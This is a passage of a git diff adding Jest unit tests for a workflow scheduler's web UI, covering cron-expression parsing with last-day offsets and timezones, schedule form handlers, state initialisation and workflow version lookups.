0 12 L * ?")).toBe(false); + + // Should NOT match other patterns + expect(hasLOffsetPattern("0 0 12 1 * ?")).toBe(false); + expect(hasLOffsetPattern("0 0 12 15 * ?")).toBe(false); + expect(hasLOffsetPattern("0 0 12 1W * ?")).toBe(false); + }); + + it("should validate L-n with specific month constraints", () => { + const expr = "0 0 12 L-2 1 ?"; // January only + + const validation = cronExpressionIsValid(expr); + expect(validation.isValid).toBe(true); + + const humanized = cronstrue.toString(expr); + expect(humanized).toContain("2 days before the last day of the month"); + expect(humanized).toContain("January"); + }); + + it("should invalidate malformed cron expressions", () => { + const invalidExpressions = [ + "not a cron", + "* * *", + "0 0 12 L-999 * ?", // offset too large + "invalid pattern", + ]; + + invalidExpressions.forEach((expr) => { + const validation = cronExpressionIsValid(expr); + // Most should be invalid, but we mainly care that the validator doesn't crash + expect(validation).toHaveProperty("isValid"); + expect(validation).toHaveProperty("errors"); + }); + }); +}); + +describe("useCronExpression Hook - Integration Tests", () => { + // All cron expression samples that should work with the hook + const cronSamples = [ + { expr: "* * * ? * *", desc: "Every second" }, + { expr: "0 * * ? * *", desc: "Every minute" }, + { expr: "0 */2 * ? * *", desc: "Every 2 minutes" }, + { expr: "0 1/2 * ? * *", desc: "Every 2 minutes starting at minute 1" }, + { expr: "0 */30 * ? * *", desc: "Every 30 minutes" }, + { expr: "0 15,30,45 * ? * *", desc: "At minutes 15, 30, and 45" }, + { expr: "0 0 * ? * *", desc: "Every hour" }, + { expr: "0 0 */2 ? * *", desc: "Every 2 hours" }, + { expr: "0 0 0/2 ? * *", desc: "Every 2 hours starting at midnight" }, + { expr: "0 0 1/2 ? * *", desc: "Every 2 hours starting at 1 AM" }, + { expr: "0 0 0 * * ?", desc: "Daily at midnight" }, + { expr: "0 0 1 * * ?", desc: "Daily at 1 AM" }, + { expr: "0 0 6 * * ?", desc: "Daily at 6 AM" }, + { expr: "0 0 12 ? * SUN", desc: "Every Sunday at noon" }, + { expr: "0 0 12 ? * MON-FRI", desc: "Every weekday at noon" }, + { expr: "0 0 12 ? * SUN,SAT", desc: "Every weekend at noon" }, + { expr: "0 0 12 */7 * ?", desc: "Every 7 days at noon" }, + { expr: "0 0 12 1 * ?", desc: "First day of month at noon" }, + { expr: "0 0 12 15 * ?", desc: "15th day of month at noon" }, + { expr: "0 0 12 1/4 * ?", desc: "Every 4 days starting on 1st at noon" }, + { expr: "0 0 12 L * ?", desc: "Last day of month at noon" }, + { + expr: "0 0 12 L-2 * ?", + desc: "2 days before last day of month at noon", + isLOffset: true, + }, + { expr: "0 0 12 1W * ?", desc: "Nearest weekday to 1st at noon" }, + { expr: "0 0 12 15W * ?", desc: "Nearest weekday to 15th at noon" }, + { expr: "0 0 12 ? * 2#1", desc: "First Monday of month at noon" }, + { expr: "0 0 12 ? * 6#2", desc: "Second Friday of month at noon" }, + { expr: "0 0 12 ? JAN *", desc: "Every day in January at noon" }, + { + expr: "0 0 12 ? JAN,JUN *", + desc: "Every day in January and June at noon", + }, + { + expr: "0 0 12 ? JAN,FEB,APR *", + desc: "Every day in Jan, Feb, Apr at noon", + }, + { expr: "0 0 12 ? 9-12 *", desc: "Every day Sept-Dec at noon" }, + ]; + + it.each(cronSamples)( + "useCronExpression hook should work for: $expr", + ({ expr, desc: _desc, isLOffset }) => { + const { result } = renderHook(() => useCronExpression(expr, "UTC")); + + // Hook should not have errors + expect(result.current.cronError).toBeUndefined(); + + // Should return the expression + expect(result.current.cronExpression).toBe(expr); + + // Should have a humanized expression + expect(result.current.humanizedExpression).toBeTruthy(); + expect(typeof result.current.humanizedExpression).toBe("string"); + + // Should have futureMatches array (may be empty or populated) + expect(Array.isArray(result.current.futureMatches)).toBe(true); + + // For L-offset patterns, we use custom calculator which should return matches + expect( + !isLOffset || result.current.futureMatches.length > 0, + ).toBeTruthy(); + }, + ); + + it("should handle L-2 pattern with custom calculator in UTC", () => { + const { result } = renderHook(() => + useCronExpression("0 0 12 L-2 * ?", "UTC"), + ); + + // Should not have errors + expect(result.current.cronError).toBeUndefined(); + + // Should have humanized expression + expect(result.current.humanizedExpression).toBe( + "At 12:00 PM, 2 days before the last day of the month", + ); + + // Should have future matches calculated by custom function + expect(result.current.futureMatches.length).toBeGreaterThan(0); + + // Validate each match is actually 2 days before the last day of the month + result.current.futureMatches.forEach((match) => { + // Date string format: "yyyy-MM-dd HH:mm:ss" + expect(match).toMatch(/^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$/); + + // Parse the date components directly from the string + const [datePart, timePart] = match.split(" "); + const [year, month, day] = datePart.split("-").map(Number); + const [hours, minutes, seconds] = timePart.split(":").map(Number); + + // Calculate the last day of that month (month is 1-indexed in the string) + const lastDayOfMonth = new Date(year, month, 0).getDate(); // month 0 = last day of previous month + const expectedDay = lastDayOfMonth - 2; // L-2 means 2 days before last + + // Verify the match is on the correct day + expect(day).toBe(expectedDay); + + // Verify the time is 12:00:00 (from "0 0 12" in cron) + expect(hours).toBe(12); + expect(minutes).toBe(0); + expect(seconds).toBe(0); + }); + }); + + it("should handle L-2 pattern with custom calculator in America/New_York", () => { + const { result } = renderHook(() => + useCronExpression("0 0 14 L-2 * ?", "America/New_York"), + ); + + // Should not have errors + expect(result.current.cronError).toBeUndefined(); + + // Should have humanized expression + expect(result.current.humanizedExpression).toBe( + "At 02:00 PM, 2 days before the last day of the month", + ); + + // Should have future matches calculated by custom function + expect(result.current.futureMatches.length).toBeGreaterThan(0); + + // Validate each match is actually 2 days before the last day of the month + result.current.futureMatches.forEach((match) => { + // Date string format: "yyyy-MM-dd HH:mm:ss" + expect(match).toMatch(/^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$/); + + // Parse the date components directly from the string + const [datePart, timePart] = match.split(" "); + const [year, month, day] = datePart.split("-").map(Number); + const [hours, minutes, seconds] = timePart.split(":").map(Number); + + // Calculate the last day of that month (month is 1-indexed in the string) + const lastDayOfMonth = new Date(year, month, 0).getDate(); + const expectedDay = lastDayOfMonth - 2; // L-2 means 2 days before last + + // Verify the match is on the correct day + expect(day).toBe(expectedDay); + + // Note: The cron time (14:00 UTC) is converted to America/New_York timezone (UTC-5) + // 14:00 UTC = 09:00 EST (or 10:00 EDT depending on DST) + // We expect 9 or 10 hours depending on daylight saving time + expect([9, 10]).toContain(hours); + expect(minutes).toBe(0); + expect(seconds).toBe(0); + }); + }); + + it("should handle L-2 pattern with custom calculator in Asia/Tokyo", () => { + const { result } = renderHook(() => + useCronExpression("0 30 9 L-2 * ?", "Asia/Tokyo"), + ); + + // Should not have errors + expect(result.current.cronError).toBeUndefined(); + + // Should have humanized expression + expect(result.current.humanizedExpression).toBe( + "At 09:30 AM, 2 days before the last day of the month", + ); + + // Should have future matches calculated by custom function + expect(result.current.futureMatches.length).toBeGreaterThan(0); + + // Validate each match is actually 2 days before the last day of the month + result.current.futureMatches.forEach((match) => { + // Date string format: "yyyy-MM-dd HH:mm:ss" + expect(match).toMatch(/^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$/); + + // Parse the date components directly from the string + const [datePart, timePart] = match.split(" "); + const [year, month, day] = datePart.split("-").map(Number); + const [hours, minutes, seconds] = timePart.split(":").map(Number); + + // Calculate the last day of that month (month is 1-indexed in the string) + const lastDayOfMonth = new Date(year, month, 0).getDate(); + const expectedDay = lastDayOfMonth - 2; // L-2 means 2 days before last + + // Verify the match is on the correct day + expect(day).toBe(expectedDay); + + // Note: The cron time (09:30 UTC) is converted to Asia/Tokyo timezone (UTC+9) + // 09:30 UTC = 18:30 JST (Japan Standard Time, no DST) + expect(hours).toBe(18); + expect(minutes).toBe(30); + expect(seconds).toBe(0); + }); + }); + + it("should handle multiple L-n offset patterns", () => { + const offsets = [ + { expr: "0 0 12 L-1 * ?", offset: 1 }, + { expr: "0 0 12 L-2 * ?", offset: 2 }, + { expr: "0 0 12 L-5 * ?", offset: 5 }, + { expr: "0 0 12 L-10 * ?", offset: 10 }, + ]; + + offsets.forEach(({ expr, offset }) => { + const { result } = renderHook(() => useCronExpression(expr, "UTC")); + + expect(result.current.cronError).toBeUndefined(); + expect(result.current.futureMatches.length).toBeGreaterThan(0); + + // Verify each match is correct for the specific offset + result.current.futureMatches.forEach((match) => { + // Date string format: "yyyy-MM-dd HH:mm:ss" + expect(match).toMatch(/^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$/); + + // Parse the date components directly from the string + const [datePart, timePart] = match.split(" "); + const [year, month, day] = datePart.split("-").map(Number); + const [hours, minutes, seconds] = timePart.split(":").map(Number); + + // Calculate the last day of that month (month is 1-indexed in the string) + const lastDayOfMonth = new Date(year, month, 0).getDate(); + const expectedDay = lastDayOfMonth - offset; + + // Verify the match is on the correct day (offset days before last) + expect(day).toBe(expectedDay); + + // Verify the time is 12:00:00 + expect(hours).toBe(12); + expect(minutes).toBe(0); + expect(seconds).toBe(0); + }); + }); + }); + + it("should update when timezone changes", () => { + const { result, rerender } = renderHook( + ({ timezone }) => useCronExpression("0 0 12 L-2 * ?", timezone), + { initialProps: { timezone: "UTC" } }, + ); + + const utcMatches = result.current.futureMatches; + expect(utcMatches.length).toBeGreaterThan(0); + + // Change timezone + rerender({ timezone: "America/New_York" }); + + // Should still have matches + expect(result.current.futureMatches.length).toBeGreaterThan(0); + + // Matches might be different due to timezone + expect(result.current.futureMatches).toBeDefined(); + }); + + it("should handle setCronExpression to update expression", () => { + const { result } = renderHook(() => + useCronExpression("0 0 12 L * ?", "UTC"), + ); + + expect(result.current.cronExpression).toBe("0 0 12 L * ?"); + expect(result.current.cronError).toBeUndefined(); + + // Update to L-2 pattern + result.current.setCronExpression("0 0 12 L-2 * ?", "UTC"); + + // Wait for state update + waitFor(() => { + expect(result.current.cronExpression).toBe("0 0 12 L-2 * ?"); + expect(result.current.cronError).toBeUndefined(); + expect(result.current.futureMatches.length).toBeGreaterThan(0); + }); + }); + + it("should return error for invalid expression", () => { + let errorReceived: string | undefined; + const onError = (error: string | undefined) => { + errorReceived = error; + }; + + const { result } = renderHook(() => + useCronExpression("invalid cron", "UTC", onError), + ); + + // Should have an error (can be string or object/array) + expect(result.current.cronError).toBeDefined(); + expect(result.current.cronError).toBeTruthy(); + + // Error callback should be called + waitFor(() => { + expect(errorReceived).toBeDefined(); + }); + }); + + it("should handle regular L pattern with cronjs-matcher (not custom calculator)", () => { + const { result } = renderHook(() => + useCronExpression("0 0 12 L * ?", "UTC"), + ); + + // Should not have errors + expect(result.current.cronError).toBeUndefined(); + + // Should use cronjs-matcher (not custom calculator) + // This will succeed or have empty matches depending on cronjs-matcher support + expect(Array.isArray(result.current.futureMatches)).toBe(true); + + // Should have humanized expression + expect(result.current.humanizedExpression).toBe( + "At 12:00 PM, on the last day of the month", + ); + }); + + it("should provide highlightedPart controls", () => { + const { result } = renderHook(() => + useCronExpression("0 0 12 L-2 * ?", "UTC"), + ); + + expect(result.current.highlightedPart).toBeNull(); + + // Set highlighted part + result.current.setHighlightedPart(2); + + waitFor(() => { + expect(result.current.highlightedPart).toBe(2); + }); + }); + + it("should return error when L-offset pattern fails to calculate matches", () => { + // Use an invalid L-offset pattern that can't be parsed + const { result } = renderHook(() => + useCronExpression("0 0 12 L-999 * ?", "UTC"), + ); + + // Should have an error - either from validation or match calculation + expect(result.current.cronError).toBeDefined(); + expect(result.current.cronError).toBeTruthy(); + + // Future matches should be empty since calculation failed - if empty, error must be defined + expect( + result.current.futureMatches.length > 0 || result.current.cronError, + ).toBeTruthy(); + }); + + it("should handle expressions that pass validation but fail future match calculation", () => { + let errorReceived: string | undefined; + const onError = (error: string | undefined) => { + errorReceived = error; + }; + + // Use an expression that might validate but can't calculate future matches + // For example, an extremely complex pattern + const { result } = renderHook(() => + useCronExpression("0 0 12 ? * MON#5", "UTC", onError), + ); + + // If future matches fail to calculate, there should be an error + // Assert that either we have matches or an error was received + waitFor(() => { + expect( + result.current.futureMatches.length > 0 || errorReceived !== undefined, + ).toBeTruthy(); + }); + }); +}); diff --git a/ui-next/src/pages/scheduler/__tests__/hooks.test.ts b/ui-next/src/pages/scheduler/__tests__/hooks.test.ts new file mode 100644 index 0000000..54fb525 --- /dev/null +++ b/ui-next/src/pages/scheduler/__tests__/hooks.test.ts @@ -0,0 +1,636 @@ +import { act, renderHook } from "@testing-library/react"; +import { IdempotencyStrategyEnum } from "pages/runWorkflow/types"; +import { useState } from "react"; +import { useScheduleFormHandlers } from "../hooks/useScheduleFormHandlers"; +import { useScheduleState } from "../hooks/useScheduleState"; +import { useWorkflowConfig } from "../hooks/useWorkflowConfig"; +import { ScheduleType } from "../Schedule"; + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +const baseState: ScheduleType = { + name: "", + description: "", + cronExpression: "", + paused: false, + runCatchupScheduleInstances: false, + workflowType: null, + workflowVersion: null, + workflowVersions: [], + workflowInputTemplate: "", + taskToDomain: "", + workflowCorrelationId: "", + workflowIdempotencyKey: undefined, + workflowIdempotencyStrategy: undefined, + workflowDef: null, + externalInputPayloadStoragePath: undefined, + scheduleStartTime: "", + scheduleEndTime: "", + priority: "", + zoneId: "UTC", +}; + +/** Wrapper that wires up all the state needed by useScheduleFormHandlers */ +function useFormHandlersWrapper(initial: ScheduleType = baseState) { + const [scheduleState, setScheduleState] = useState(initial); + const [errors, setErrors] = useState | null>(null); + const [couldNotParseJson, setCouldNotParseJson] = useState(false); + const [highlightedPart, setHighlightedPart] = useState(null); + + const clearError = (field: string) => { + setErrors((prev) => { + if (!prev) return prev; + const updated = { ...prev }; + delete updated[field]; + return updated; + }); + }; + + const handlers = useScheduleFormHandlers( + scheduleState, + setScheduleState, + setErrors, + clearError, + errors, + setCouldNotParseJson, + setHighlightedPart, + ); + + return { + scheduleState, + errors, + couldNotParseJson, + highlightedPart, + handlers, + }; +} + +// --------------------------------------------------------------------------- +// useScheduleFormHandlers +// --------------------------------------------------------------------------- + +describe("useScheduleFormHandlers", () => { + describe("setScheduleNewState – name field validation", () => { + it("sets an error when name is empty", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + + act(() => { + result.current.handlers.setScheduleNewState("name", ""); + }); + + expect(result.current.errors?.name).toBe("Name is required"); + }); + + it("sets an error when name contains invalid characters", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + + act(() => { + result.current.handlers.setScheduleNewState("name", "invalid name!"); + }); + + expect(result.current.errors?.name).toMatch( + /only contain letters, numbers, and underscores/, + ); + }); + + it("accepts names with letters, numbers, and underscores", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + + act(() => { + result.current.handlers.setScheduleNewState("name", "Valid_Name_123"); + }); + + expect(result.current.errors?.name).toBeUndefined(); + expect(result.current.scheduleState.name).toBe("Valid_Name_123"); + }); + + it("clears an existing name error when name becomes valid", () => { + const { result } = renderHook(() => + useFormHandlersWrapper({ + ...baseState, + name: "bad name!", + }), + ); + + // First set invalid name to generate error + act(() => { + result.current.handlers.setScheduleNewState("name", "bad name!"); + }); + expect(result.current.errors?.name).toBeDefined(); + + // Then fix it + act(() => { + result.current.handlers.setScheduleNewState("name", "good_name"); + }); + expect(result.current.errors?.name).toBeUndefined(); + }); + + it("updates description without touching errors", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + + act(() => { + result.current.handlers.setScheduleNewState( + "description", + "My schedule", + ); + }); + + expect(result.current.scheduleState.description).toBe("My schedule"); + }); + }); + + describe("setCronPausedState", () => { + it("toggles paused from false to true", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + + act(() => { + result.current.handlers.setCronPausedState(); + }); + + expect(result.current.scheduleState.paused).toBe(true); + }); + + it("toggles paused back to false", () => { + const { result } = renderHook(() => + useFormHandlersWrapper({ ...baseState, paused: true }), + ); + + act(() => { + result.current.handlers.setCronPausedState(); + }); + + expect(result.current.scheduleState.paused).toBe(false); + }); + }); + + describe("setZoneId", () => { + it("updates zoneId in state", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + + act(() => { + result.current.handlers.setZoneId("America/New_York"); + }); + + expect(result.current.scheduleState.zoneId).toBe("America/New_York"); + }); + }); + + describe("setWorkflowInputTemplatesState", () => { + it("updates workflowInputTemplate for valid JSON", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + + act(() => { + result.current.handlers.setWorkflowInputTemplatesState( + '{"param":"value"}', + ); + }); + + expect(result.current.scheduleState.workflowInputTemplate).toBe( + '{"param":"value"}', + ); + expect(result.current.couldNotParseJson).toBe(false); + }); + + it("sets couldNotParseJson and does NOT update state for invalid JSON", () => { + const { result } = renderHook(() => + useFormHandlersWrapper({ + ...baseState, + workflowInputTemplate: '{"a":1}', + }), + ); + + act(() => { + result.current.handlers.setWorkflowInputTemplatesState("{broken"); + }); + + expect(result.current.couldNotParseJson).toBe(true); + // State should not have been updated to the broken value + expect(result.current.scheduleState.workflowInputTemplate).toBe( + '{"a":1}', + ); + }); + }); + + describe("setWorkflowTasksToDomainState", () => { + it("updates taskToDomain for valid JSON", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + + act(() => { + result.current.handlers.setWorkflowTasksToDomainState( + '{"task1":"domain1"}', + ); + }); + + expect(result.current.scheduleState.taskToDomain).toBe( + '{"task1":"domain1"}', + ); + expect(result.current.couldNotParseJson).toBe(false); + }); + + it("sets couldNotParseJson and does NOT update state for invalid JSON", () => { + const { result } = renderHook(() => + useFormHandlersWrapper({ ...baseState, taskToDomain: '{"t":"d"}' }), + ); + + act(() => { + result.current.handlers.setWorkflowTasksToDomainState("{broken"); + }); + + expect(result.current.couldNotParseJson).toBe(true); + expect(result.current.scheduleState.taskToDomain).toBe('{"t":"d"}'); + }); + }); + + describe("setWorkflowCorrelationIdState", () => { + it("updates workflowCorrelationId", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + + act(() => { + result.current.handlers.setWorkflowCorrelationIdState("corr-xyz"); + }); + + expect(result.current.scheduleState.workflowCorrelationId).toBe( + "corr-xyz", + ); + }); + }); + + describe("handleIdempotencyValues", () => { + it("sets idempotencyKey and defaults strategy to RETURN_EXISTING", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + + act(() => { + result.current.handlers.handleIdempotencyValues({ + idempotencyKey: "my-key", + idempotencyStrategy: undefined, + }); + }); + + expect(result.current.scheduleState.workflowIdempotencyKey).toBe( + "my-key", + ); + expect(result.current.scheduleState.workflowIdempotencyStrategy).toBe( + IdempotencyStrategyEnum.RETURN_EXISTING, + ); + }); + + it("uses provided idempotencyStrategy when key is set", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + + act(() => { + result.current.handlers.handleIdempotencyValues({ + idempotencyKey: "my-key", + idempotencyStrategy: IdempotencyStrategyEnum.FAIL, + }); + }); + + expect(result.current.scheduleState.workflowIdempotencyStrategy).toBe( + IdempotencyStrategyEnum.FAIL, + ); + }); + + it("clears strategy when idempotencyKey is empty/undefined", () => { + const { result } = renderHook(() => + useFormHandlersWrapper({ + ...baseState, + workflowIdempotencyKey: "existing-key", + workflowIdempotencyStrategy: IdempotencyStrategyEnum.RETURN_EXISTING, + }), + ); + + act(() => { + result.current.handlers.handleIdempotencyValues({ + idempotencyKey: "", + idempotencyStrategy: undefined, + }); + }); + + expect(result.current.scheduleState.workflowIdempotencyKey).toBe(""); + expect( + result.current.scheduleState.workflowIdempotencyStrategy, + ).toBeUndefined(); + }); + }); + + describe("handleScheduleStartTime / handleScheduleEndTime", () => { + it("updates scheduleStartTime", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + const ts = 1704067200000; + + act(() => { + result.current.handlers.handleScheduleStartTime(ts); + }); + + expect(result.current.scheduleState.scheduleStartTime).toBe(ts); + }); + + it("updates scheduleEndTime", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + const ts = 1735689600000; + + act(() => { + result.current.handlers.handleScheduleEndTime(ts); + }); + + expect(result.current.scheduleState.scheduleEndTime).toBe(ts); + }); + }); + + describe("getHighlightedPart", () => { + it("sets highlightedPart to the index of the cron field at the cursor", () => { + const { result } = renderHook(() => useFormHandlersWrapper()); + + // "0 0 12 * * ?" — cursor at position 0 (inside '0') → part 0 + act(() => { + result.current.handlers.getHighlightedPart("0 0 12 * * ?", 1); + }); + expect(result.current.highlightedPart).toBe(0); + + // cursor at position 3 (inside second '0') → part 1 + act(() => { + result.current.handlers.getHighlightedPart("0 0 12 * * ?", 3); + }); + expect(result.current.highlightedPart).toBe(1); + + // cursor at position 5 (inside '12') → part 2 + act(() => { + result.current.handlers.getHighlightedPart("0 0 12 * * ?", 5); + }); + expect(result.current.highlightedPart).toBe(2); + }); + }); +}); + +// --------------------------------------------------------------------------- +// useScheduleState +// --------------------------------------------------------------------------- + +describe("useScheduleState", () => { + it("initializes with default state when no execution or schedule is provided", () => { + const { result } = renderHook(() => useScheduleState(null, null)); + + expect(result.current.scheduleState.name).toBe(""); + expect(result.current.scheduleState.cronExpression).toBe(""); + expect(result.current.scheduleState.paused).toBe(false); + expect(result.current.scheduleState.zoneId).toBe("UTC"); + expect(result.current.scheduleState.workflowType).toBeNull(); + }); + + it("pre-populates state from latestExecution", () => { + const execution = { + workflowName: "myWorkflow", + workflowVersion: 2, + workflowDefinition: { inputParameters: ["param1", "param2"] }, + taskToDomain: { task1: "domain1" }, + }; + + const { result } = renderHook(() => useScheduleState(execution, null)); + + expect(result.current.scheduleState.workflowType).toBe("myWorkflow"); + expect(result.current.scheduleState.workflowVersion).toBe("2"); + expect(result.current.scheduleState.taskToDomain).toContain("task1"); + }); + + it("initializeFromSchedule populates state from a full schedule object", () => { + const { result } = renderHook(() => useScheduleState(null, null)); + + const schedule = { + name: "test-schedule", + description: "A test", + cronExpression: "0 0 10 * * ?", + paused: true, + runCatchupScheduleInstances: false, + scheduleStartTime: 1704067200000, + scheduleEndTime: 1735689600000, + zoneId: "Asia/Tokyo", + startWorkflowRequest: { + name: "workflowA", + version: 3, + input: { key: "val" }, + correlationId: "corr-1", + taskToDomain: { t1: "d1" }, + priority: "3", + }, + }; + + act(() => { + result.current.initializeFromSchedule(schedule); + }); + + expect(result.current.scheduleState.name).toBe("test-schedule"); + expect(result.current.scheduleState.description).toBe("A test"); + expect(result.current.scheduleState.cronExpression).toBe("0 0 10 * * ?"); + expect(result.current.scheduleState.paused).toBe(true); + expect(result.current.scheduleState.zoneId).toBe("Asia/Tokyo"); + expect(result.current.scheduleState.workflowType).toBe("workflowA"); + expect(result.current.scheduleState.workflowVersion).toBe("3"); + expect(result.current.scheduleState.workflowCorrelationId).toBe("corr-1"); + expect(result.current.scheduleState.priority).toBe("3"); + }); + + it("initializeFromSchedule treats null cronExpression as empty string", () => { + const { result } = renderHook(() => useScheduleState(null, null)); + + act(() => { + result.current.initializeFromSchedule({ + name: "s", + cronExpression: null, + startWorkflowRequest: {}, + }); + }); + + expect(result.current.scheduleState.cronExpression).toBe(""); + }); + + it("initializeFromSchedule does nothing when called with null", () => { + const { result } = renderHook(() => useScheduleState(null, null)); + const stateBefore = result.current.scheduleState; + + act(() => { + result.current.initializeFromSchedule(null); + }); + + expect(result.current.scheduleState).toStrictEqual(stateBefore); + }); + + it("initializeFromExecution does nothing when workflowName is missing", () => { + const { result } = renderHook(() => useScheduleState(null, null)); + const stateBefore = result.current.scheduleState; + + act(() => { + result.current.initializeFromExecution({}); + }); + + expect(result.current.scheduleState).toStrictEqual(stateBefore); + }); + + it("original state is set correctly after initializeFromSchedule", () => { + const { result } = renderHook(() => useScheduleState(null, null)); + + act(() => { + result.current.initializeFromSchedule({ + name: "my-sched", + cronExpression: "0 */5 * * * ?", + paused: false, + runCatchupScheduleInstances: true, + startWorkflowRequest: { + name: "wf", + version: 1, + input: {}, + taskToDomain: {}, + }, + }); + }); + + expect(result.current.original.name).toBe("my-sched"); + expect(result.current.original.cronExpression).toBe("0 */5 * * * ?"); + }); +}); + +// --------------------------------------------------------------------------- +// useWorkflowConfig +// --------------------------------------------------------------------------- + +function buildWorkflowDefByVersions( + workflows: Record, +) { + type WorkflowDef = { inputParameters: string[] }; + + const lookups = new Map(); + const values = new Map>(); + + for (const [name, { versions, inputParams }] of Object.entries(workflows)) { + lookups.set(name, versions); + const versionMap = new Map(); + for (const v of versions) { + versionMap.set(v, { + inputParameters: inputParams ?? [], + }); + } + values.set(name, versionMap); + } + + return new Map< + string, + Map | Map> + >([ + ["lookups", lookups], + ["values", values], + ]); +} + +describe("useWorkflowConfig", () => { + const defsByVersions = buildWorkflowDefByVersions({ + WorkflowA: { versions: ["1", "2", "3"], inputParams: ["paramA", "paramB"] }, + WorkflowB: { versions: ["1"], inputParams: ["paramX"] }, + }); + + it("returns all workflow names", () => { + const { result } = renderHook(() => + useWorkflowConfig(defsByVersions, null, [], ""), + ); + + expect(result.current.workflowNames).toContain("WorkflowA"); + expect(result.current.workflowNames).toContain("WorkflowB"); + expect(result.current.workflowNames).toHaveLength(2); + }); + + it("returns empty array when workflowDefByVersions is undefined", () => { + const { result } = renderHook(() => + useWorkflowConfig(undefined, null, [], ""), + ); + + expect(result.current.workflowNames).toEqual([]); + }); + + it("returns versions for the current workflow type", () => { + const { result } = renderHook(() => + useWorkflowConfig(defsByVersions, "WorkflowA", [], ""), + ); + + expect(result.current.workflowVersions).toEqual(["1", "2", "3"]); + }); + + it("falls back to currentWorkflowVersions when no type is set", () => { + const { result } = renderHook(() => + useWorkflowConfig(defsByVersions, null, ["v1", "v2"], ""), + ); + + expect(result.current.workflowVersions).toEqual(["v1", "v2"]); + }); + + it("setWorkflowType returns correct versions and input template", () => { + const { result } = renderHook(() => + useWorkflowConfig(defsByVersions, null, [], ""), + ); + + const output = result.current.setWorkflowType("WorkflowA"); + + expect(output.workflowVersions).toEqual(["1", "2", "3"]); + // input template built from inputParameters: paramA and paramB + const parsed = JSON.parse(output.workflowInputTemplate); + expect(parsed).toHaveProperty("paramA"); + expect(parsed).toHaveProperty("paramB"); + }); + + it("setWorkflowType falls back to currentWorkflowInputTemplate when inputParameters is absent", () => { + // buildWorkflowDefByVersions always sets inputParameters; create the map + // manually so the def has no inputParameters key at all. + const lookups = new Map([["NoParamsWorkflow", ["1"]]]); + const values = new Map([ + ["NoParamsWorkflow", new Map([["1", {}]])], // no inputParameters key + ]); + const defsNoParams = new Map([ + ["lookups", lookups], + ["values", values], + ]); + + const { result } = renderHook(() => + useWorkflowConfig(defsNoParams, null, [], "existing-template"), + ); + + const output = result.current.setWorkflowType("NoParamsWorkflow"); + // getTemplateFromInputParams(undefined) returns "" which is falsy, + // so the hook falls back to currentWorkflowInputTemplate. + expect(output.workflowInputTemplate).toBe("existing-template"); + }); + + it("setWorkflowVersion with 'Latest version' resolves to last entry", () => { + const { result } = renderHook(() => + useWorkflowConfig(defsByVersions, "WorkflowA", ["1", "2", "3"], ""), + ); + + const output = result.current.setWorkflowVersion( + "Latest version", + "WorkflowA", + ); + const parsed = JSON.parse(output.workflowInputTemplate); + expect(parsed).toHaveProperty("paramA"); + }); + + it("setWorkflowVersion with a specific version returns template for that version", () => { + const { result } = renderHook(() => + useWorkflowConfig(defsByVersions, "WorkflowB", ["1"], ""), + ); + + const output = result.current.setWorkflowVersion("1", "WorkflowB"); + const parsed = JSON.parse(output.workflowInputTemplate); + expect(parsed).toHaveProperty("paramX"); + }); + + it("setWorkflowVersion with null returns existing template", () => { + const { result } = renderHook(() => + useWorkflowConfig( + defsByVersions, + "WorkflowA", + ["1", "2", "3"], + "fallback", + ), + ); + + const output = result.current.setWorkflowVersion(null, "WorkflowA"); + expect(output.workflowInputTemplate).toBe("fallback"); + }); +}); diff --git a/ui-next/src/pages/scheduler/__tests__/scheduleTransformers.test.ts b/ui-next/src/pages/scheduler/__tests__/scheduleTransformers.test.ts new file mode 100644 index 0000000..1013ed5 --- /dev/null +++ b/ui-next/src/pages/scheduler/__tests__/scheduleTransformers.test.ts @@ -0,0 +1,241 @@ +import { + codeToFormData, + formToCodeData, + getDateFromField, + JSONParse, +} from "../utils/scheduleTransformers"; +import { ScheduleType } from "../Schedule"; + +const baseScheduleState: ScheduleType = { + name: "my-schedule", + description: "Test description", + cronExpression: "0 0 12 * * ?", + paused: false, + runCatchupScheduleInstances: true, + workflowType: "myWorkflow", + workflowVersion: "1", + workflowVersions: ["1", "2"], + workflowInputTemplate: '{"key":"value"}', + taskToDomain: '{"task1":"domain1"}', + workflowCorrelationId: "corr-123", + workflowIdempotencyKey: "idem-key", + workflowIdempotencyStrategy: undefined, + workflowDef: null, + externalInputPayloadStoragePath: undefined, + scheduleStartTime: "", + scheduleEndTime: "", + priority: "5", + zoneId: "UTC", +}; + +describe("JSONParse", () => { + it("returns null for empty string", () => { + expect(JSONParse("")).toBeNull(); + }); + + it("returns null for falsy values", () => { + expect(JSONParse("")).toBeNull(); + }); + + it("parses valid JSON object", () => { + expect(JSONParse('{"key":"value"}')).toEqual({ key: "value" }); + }); + + it("parses valid JSON array", () => { + expect(JSONParse("[1,2,3]")).toEqual([1, 2, 3]); + }); + + it("parses valid JSON primitives", () => { + expect(JSONParse("42")).toBe(42); + expect(JSONParse('"hello"')).toBe("hello"); + expect(JSONParse("true")).toBe(true); + }); + + it("throws for invalid JSON", () => { + expect(() => JSONParse("{invalid}")).toThrow(); + }); +}); + +describe("getDateFromField", () => { + it("returns empty string for empty string input", () => { + expect(getDateFromField("")).toBe(""); + }); + + it("returns empty string for 0", () => { + expect(getDateFromField(0)).toBe(""); + }); + + it("returns a numeric timestamp for a valid ISO date string", () => { + const result = getDateFromField("2024-01-15T12:00:00Z"); + expect(typeof result).toBe("number"); + expect(result).toBe(new Date("2024-01-15T12:00:00Z").valueOf()); + }); + + it("returns a numeric timestamp for a numeric timestamp input", () => { + const ts = 1705320000000; + expect(getDateFromField(ts)).toBe(ts); + }); + + it("returns a 